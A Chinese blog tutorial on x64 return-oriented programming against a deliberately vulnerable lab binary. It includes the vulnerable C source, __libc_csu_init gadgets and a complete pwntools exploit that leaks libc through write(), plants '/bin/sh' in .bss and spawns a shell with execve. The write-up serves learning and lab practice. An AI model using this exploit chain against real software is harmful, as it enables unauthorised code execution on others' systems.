ROP从入门到入土-X64

9 分钟读完

Intro

在前篇文章中我们已经介绍了Linux下x86和x64架构的参数传递方式,以及对于x86程序的ROP攻击。这一次让我们跨出扯蛋的一步——进入x64架构,在没有辅助函数,在仅仅调用了libc里面的函数的情况下来用libc实现ROP攻击。在这个情况下,我们能够完整地去操控堆栈,实现攻击。本次实现的攻击是蒸米大神的一步一步学ROP中x64系列的最后一个项目。

Source Code

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
        write(STDOUT_FILENO, "Hello, World\n", 13);
        vulnerable_function();
}

不难发现,我们能够利用的就是函数ulnerable_function中的缓冲区溢出漏洞。首先我们先定位到溢出点是136个字符之后,即136个字符之后便会覆盖ret地址。至于如何寻找溢出点,请参考前文。这里我们所使用的编译选项是:

$ gcc -fno-stack-protector -no-pie level5.c -o level5

查看文件的信息,可以发现调用了libc

➜  linux_x64 git:(master) ✗ checksec ./level5                
[*] '/home/ya0guang/Code_obo/ROP_STEP_BY_STEP/linux_x64/level5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
➜  linux_x64 git:(master) ✗ readelf -d ./level5 | grep Shared
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]

Overview

那么我们的思路在这里就可以开始形成了:调用system(“/bin/sh”)execve(“/bin/sh”)来反弹shell。那么我们便需要知道libc在内存中的地址,以及一个”/bin/sh”字符串。我们无法非常直接地获得libc的地址,但我们能够找到函数write在内存中的地址。查阅write的函数说明:

ssize_t write(int fd, const void *buf, size_t count);

Description write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd. The number of bytes written may be less than count if, for example, there is insufficient space on the underlying physical medium, or the RLIMIT_FSIZE resource limit is encountered (see setrlimit(2)), or the call was interrupted by a signal handler after having written less than count bytes. (See also pipe(7).)

For a seekable file (i.e., one to which lseek(2) may be applied, for example, a regular file) writing takes place at the current file offset, and the file offset is incremented by the number of bytes actually written. If the file was open(2)ed with O_APPEND, the file offset is first set to the end of the file before writing. The adjustment of the file offset and the write operation are performed as an atomic step.

POSIX requires that a read(2) which can be proved to occur after a write() has returned returns the new data. Note that not all file systems are POSIX conforming.

我们可以将*buf中的内容,长度位count,写到fd中。那么我们便可以让write打印write,即将write的地址作为参数*buf传递给函数write(),令其写入stdout,即可获得write()在内存中的地址。而我们所需要的便是指向write()的指针,这在got表中可以找到。查看该表可以使用命令:

➜  linux_x64 git:(master) ✗ objdump -R level5

level5:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000403fe0 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable
0000000000403fe8 R_X86_64_GLOB_DAT  [email protected]_2.2.5
0000000000403ff0 R_X86_64_GLOB_DAT  __gmon_start__
0000000000403ff8 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable
0000000000404018 R_X86_64_JUMP_SLOT  [email protected]_2.2.5
0000000000404020 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5

这里可以看到writeread函数都存在于表中,其调用libc库。关于got表是什么,可以参考这个系列的文章,讲的很让人能够看懂。

而我们可以获得libc库的二进制文件,那么便可知道write()在libc中的位置。结合其在libc和内存中的位置便可以推得system(或execve)在内存中的位置。

下一步便是得到一个”/bin/sh”字符串。我们需要做的便是将其放入可读写的bss段内。通过调用read(),从stdin读取”/bin/sh\0”到bss段即可将其写入。

最后再调用system()execve()即可。不知道是什么原因,笔者调用system()函数总是无法成功,于是后文仅用execve()函数。如若正在看文的大佬知道为什么,还请不吝赐教!

Payload

由于x64架构参数传递使用到了寄存器,我们无法像往常一样把参数都压到堆栈里面。那么我们便来寻找有没有类似pop rdi(rsi/rdx)的指令。使用objdump查反汇编level5*的二进制文件:

0000000000401190 <__libc_csu_init>:
  401190:       f3 0f 1e fa             endbr64 
  401194:       41 57                   push   %r15
  401196:       4c 8d 3d 63 2c 00 00    lea    0x2c63(%rip),%r15        # 403e00 <__frame_dummy_init_array_entry>
  40119d:       41 56                   push   %r14
  40119f:       49 89 d6                mov    %rdx,%r14
  4011a2:       41 55                   push   %r13
  4011a4:       49 89 f5                mov    %rsi,%r13
  4011a7:       41 54                   push   %r12
  4011a9:       41 89 fc                mov    %edi,%r12d
  4011ac:       55                      push   %rbp
  4011ad:       48 8d 2d 54 2c 00 00    lea    0x2c54(%rip),%rbp        # 403e08 <__init_array_end>
  4011b4:       53                      push   %rbx
  4011b5:       4c 29 fd                sub    %r15,%rbp
  4011b8:       48 83 ec 08             sub    $0x8,%rsp
  4011bc:       e8 3f fe ff ff          callq  401000 <_init>
  4011c1:       48 c1 fd 03             sar    $0x3,%rbp
  4011c5:       74 1f                   je     4011e6 <__libc_csu_init+0x56>
  4011c7:       31 db                   xor    %ebx,%ebx
  4011c9:       0f 1f 80 00 00 00 00    nopl   0x0(%rax)
  4011d0:       4c 89 f2                mov    %r14,%rdx
  4011d3:       4c 89 ee                mov    %r13,%rsi
  4011d6:       44 89 e7                mov    %r12d,%edi
  4011d9:       41 ff 14 df             callq  *(%r15,%rbx,8)
  4011dd:       48 83 c3 01             add    $0x1,%rbx
  4011e1:       48 39 dd                cmp    %rbx,%rbp
  4011e4:       75 ea                   jne    4011d0 <__libc_csu_init+0x40>
  4011e6:       48 83 c4 08             add    $0x8,%rsp
  4011ea:       5b                      pop    %rbx
  4011eb:       5d                      pop    %rbp
  4011ec:       41 5c                   pop    %r12
  4011ee:       41 5d                   pop    %r13
  4011f0:       41 5e                   pop    %r14
  4011f2:       41 5f                   pop    %r15
  4011f4:       c3                      retq   
  4011f5:       66 66 2e 0f 1f 84 00    data16 nopw %cs:0x0(%rax,%rax,1)
  4011fc:       00 00 00 00 

发现了其中的如下两段代码:

  • 支持三个参数的call(gadget_call)
    4011d0:       4c 89 f2                mov    %r14,%rdx
    4011d3:       4c 89 ee                mov    %r13,%rsi
    4011d6:       44 89 e7                mov    %r12d,%edi
    4011d9:       41 ff 14 df             callq  *(%r15,%rbx,8)
    
  • 从堆栈将数据弹到寄存器内(gadget_pop)
    4011ea:       5b                      pop    %rbx
    4011eb:       5d                      pop    %rbp
    4011ec:       41 5c                   pop    %r12
    4011ee:       41 5d                   pop    %r13
    4011f0:       41 5e                   pop    %r14
    4011f2:       41 5f                   pop    %r15
    4011f4:       c3                      retq  
    

    我们惊奇地发现,从堆栈中弹出的数据,被拷贝给了用于传递参数的寄存器,并被用于call指令的寻址。那么我们用于构建payload的链条就浮现了出来:将函数的地址写进r15寄存器,参数压入r12r13以及r14。这里的callq指令会先寻址到[r15 + rbx * 8]处,然后跳转到方括号内的内存指向的地址。这里涉及到了比较特殊的寻址方式,可以参考这个网站得到更加详细的信息。

    Not a Important Thing

    我们在执行完gadget_call之后,程序会继续执行下面的部分,也就是继续从4011dd到4011f4的部分。我们发现汇编代码会对rbx+1,和rbp比较,如不相等便会跳转。我们不需要它进行跳转,于是在先执行gadget_pop的部分时使得rbxrbp相差1。再往后看,对rsp+8,在x64架构下相当于pop了一次,随后又pop了6次,于是我们构造payload时,为了最后ret的位置可控,需要先将(6+1)*8个字符压栈后,再压栈返回地址。

Type Example syntax Value used
Register %rbp Contents of %rbp  
Immediate $0x4 0x4  
Memory 0x4 Value stored at address  
  symbol_name Value stored in global symbol_name
  symbol_name(%rip) %rip-relative addressing for global (see below)
  (%rax) Value stored at address in %rax
  0x4(%rax) Value stored at address %rax + 4
  (%rax,%rbx) Value stored at address %rax + %rbx
  (%rax,%rbx,4) Value stored at address %rax + %rbx*4
  0x18(%rax,%rbx,4) Value stored at address %rax + 0x18 + %rbx*4

Exploit

现在开始,我们可以着手编写EXP了。鉴于python2即将停止支持,我们使用python3编写。 完整的攻击链如下:

  1. 获得write()在内存中的的地址

溢出 -> ret to gadget_pop -> ret to gadget_call:write(stdout, write, 1) -> ret to main()

  1. 向bss写入”/bin/sh”和execve()的地址

溢出 -> ret to gadget_pop -> ret to gadget_call:read(stdin, bss, 16) -> ret to main()

此时向stdin输入的内容为execve()的地址+字符串”/bin/sh\0”

  1. 调用execve(“/bin/sh”)

溢出 -> ret to gadget_pop -> ret to gadget_call:execve(bssAddr+8) -> ret to dummy addresss

execve在bss段上。由于x64下地址长度为8字节,后面的”/bin/sh\0”地址是bssAddr+8

Shellocde.py

代码中有详尽的注释,该解释的地方已经解释过啦!

from pwn import *

p = process("./level5")

elf = ELF('level5')
libc = elf.libc
bssAddr = elf.bss()
mainAddr = elf.symbols['main']

gadMovToReg = 0x4011d0
#   4011d0:       4c 89 f2                mov    %r14,%rdx
#   4011d3:       4c 89 ee                mov    %r13,%rsi
#   4011d6:       44 89 e7                mov    %r12d,%edi
#   4011d9:       41 ff 14 df             callq  *(%r15,%rbx,8)
gadPopToReg = 0x4011ea
#   4011ea:       5b                      pop    %rbx
#   4011eb:       5d                      pop    %rbp
#   4011ec:       41 5c                   pop    %r12
#   4011ee:       41 5d                   pop    %r13
#   4011f0:       41 5e                   pop    %r14
#   4011f2:       41 5f                   pop    %r15
#   4011f4:       c3                      retq   
stackBalanceOffset = 56

writeGotAddr = elf.got['write']
readGotAddr = elf.got['read']

def genPayload( arg1, funcAddr, rbx = 0, rbp = 1, arg2 = 0, ret = mainAddr, arg3 = 0):
    """
    use the two gadgets to launch a call
    
    Arguments:
        arg1 {b} -- 1st parameter for call, rdi(edi), i.e. r12(d)
        funcAddr {b} -- function addres, i.e. r15
    
    Keyword Arguments:
        rbx {b} -- may not be used here (default: {0})
        rbp {b} -- may not be used here (default: {1})
        arg2 {b} -- 2nd parameter for call, rsi, i.e. r13 (default: {0})
        arg3 {b} -- 3rd parameter for call, rdx, i.e. r14 (default: {0})
        ret {b} -- return address after payload execution
    """
    
    payload = b'A' * 136 + p64(gadPopToReg) + p64(rbx) + p64(rbp) + p64(arg1) + p64(arg2) + p64(arg3) + p64(funcAddr)
    payload += p64(gadMovToReg) + b'A' * 56 +p64(ret)
    return payload

p.recvuntil("Hello, World\n")

# Get the address of write in libc and then, libc
# write prototype: write(int fd, const void * buf, size_t count)
payload1 = genPayload(1, writeGotAddr, arg2 = writeGotAddr, arg3 = 8)
f1 = open("./payload1", "wb")
f1.write(payload1)
f1.close()
p.send(payload1)
sleep(1)

writeAddrInLibc = u64(p.recv(8))
print("[*] Write Addr in libc:", hex(writeAddrInLibc))

libc.address = writeAddrInLibc - libc.symbols['write']
print("[*] libc Addr:", libc.address)

# systemAddr = libc.symbols['system']
systemAddr = libc.symbols['execve']
print("[*] system Addr:", systemAddr)

p.recvuntil("Hello, World\n")

# Read addr(system()) and "/bin/sh" to bss seg
# read prototype: read(int fd, void *buf, size_t count)
# read(0, bssAddr, 16)
payload2 = genPayload(0, readGotAddr, arg2 = bssAddr, arg3 = 16)
p.send(payload2)
print("[*] Sent Payload2")
sleep(1)

p.send(p64(systemAddr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")


# execute system("/bin/sh")
payload3 = genPayload(bssAddr+8, bssAddr)
p.send(payload3)
print("[*] Sent Payload3")
sleep(1)
p.interactive()

效果如下:

➜  linux_x64 git:(master) ✗ python ./shellcode5.py
[+] Starting local process './level5': pid 11820
[*] '/home/ya0guang/Code_obo/ROP_STEP_BY_STEP/linux_x64/level5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/usr/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Write Addr in libc: 0x7f4fef8d71e0
[*] libc Addr: 0x7f4fef7ea000
[*] system Addr: 0x7f4fef8b3660
[*] Sent Payload2
[*] Sent Payload3
[*] Switching to interactive mode
$ whoami
ya0guang

Summary & Gadgets

如果你看到这里并且复现成功了的话,就算是和我一样入了二进制的大坑了。我目前的水平也就限于此了。最近在啃RE4B这本书,讲汇编语言讲得还是很不错的,如果你还没有放弃的话可以和我一起啃。另笔者在尝试调用system()的时候永远无法返回shell,不知道是何问题,还望有识之士点拨一二。

同样的攻击在笔者的Ubuntu18.04物理机上攻击总是失败。用gdb调试跟进发现所有的地址,所有的参数都正确的情况下还是无法反弹shell,很郁闷,如果有碰到类似情况的还望告诉我。

留下评论